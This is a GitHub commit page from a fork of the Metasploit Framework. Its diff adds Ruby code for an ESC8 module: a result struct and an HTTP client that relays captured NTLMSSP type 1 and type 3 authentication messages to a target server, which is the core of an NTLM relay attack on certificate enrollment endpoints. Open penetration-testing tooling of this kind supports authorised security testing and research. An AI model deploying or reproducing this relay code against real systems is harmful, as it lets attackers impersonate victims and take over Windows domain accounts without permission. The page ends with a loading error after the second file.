forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 5
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Update the ESC8 module for the new changes
- Loading branch information
1 parent
2a80f81
commit 21da735
Showing
4 changed files
with
186 additions
and
180 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
module Msf::Exploit::Remote::SMB::Relay::NTLM::Target | ||
RelayResult = Struct.new(:message, :nt_status) | ||
end |
84 changes: 84 additions & 0 deletions
84
lib/msf/core/exploit/remote/smb/relay/ntlm/target/http/client.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,84 @@ | ||
module Msf::Exploit::Remote::SMB::Relay::NTLM::Target::HTTP | ||
# The HTTP Client for interacting with the relayed_target | ||
class Client | ||
extend Forwardable | ||
|
||
def_delegators :@client, :send_recv, :request_cgi, :request_raw | ||
|
||
attr_accessor :timeout | ||
attr_reader :target | ||
|
||
def initialize(provider: nil, target: nil, logger: nil, timeout: -1) | ||
@logger = logger | ||
@provider = provider | ||
@target = target | ||
@timeout = timeout | ||
http_logger_subscriber = Rex::Proto::Http::HttpLoggerSubscriber.new(logger: logger) | ||
|
||
@client = Rex::Proto::Http::Client.new( | ||
target.ip, | ||
target.port, | ||
provider.dispatcher.tcp_socket.context, | ||
target.protocol == :https, | ||
subscriber: http_logger_subscriber | ||
) | ||
end | ||
|
||
def self.create(provider, target, logger, timeout) | ||
new( | ||
provider: provider, | ||
target: target, | ||
logger: logger, | ||
timeout: timeout | ||
) | ||
end | ||
|
||
# @param [String] client_type1_msg | ||
# @rtype [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult, nil] | ||
def relay_ntlmssp_type1(client_type1_msg) | ||
req = @client.request_raw( | ||
'method' => 'GET', | ||
'uri' => @target.path, | ||
'headers' => { | ||
'Accept-Encoding' => 'identity', | ||
'Authorization' => 'NTLM ' + Base64.strict_encode64(client_type1_msg) | ||
} | ||
) | ||
res = @client.send_recv(req, @timeout, true) | ||
# todo: handle errors here | ||
Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new( | ||
message: Net::NTLM::Message.decode64(res.headers['WWW-Authenticate'].split[1]), | ||
nt_status: WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED | ||
) | ||
end | ||
|
||
# @param [String] client_type3_msg | ||
# @rtype [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult, nil] | ||
def relay_ntlmssp_type3(client_type3_msg) | ||
req = @client.request_raw( | ||
'method' => 'GET', | ||
'uri' => @target.path, | ||
'headers' => { | ||
'Accept-Encoding' => 'identity', | ||
'Authorization' => 'NTLM ' + Base64.strict_encode64(client_type3_msg) | ||
} | ||
) | ||
res = @client.send_recv(req, @timeout, true) | ||
|
||
if res.code.between?(200, 299) | ||
nt_status = WindowsError::NTStatus::STATUS_SUCCESS | ||
else | ||
nt_status = WindowsError::NTStatus::STATUS_LOGON_FAILURE | ||
end | ||
Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new(nt_status: nt_status) | ||
end | ||
|
||
protected | ||
|
||
attr_reader :logger | ||
|
||
def display_target(target) | ||
"#{target.protocol}://#{target.ip}:#{target.port}" + (target.path.blank? ? '/' : target.path) | ||
end | ||
end | ||
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.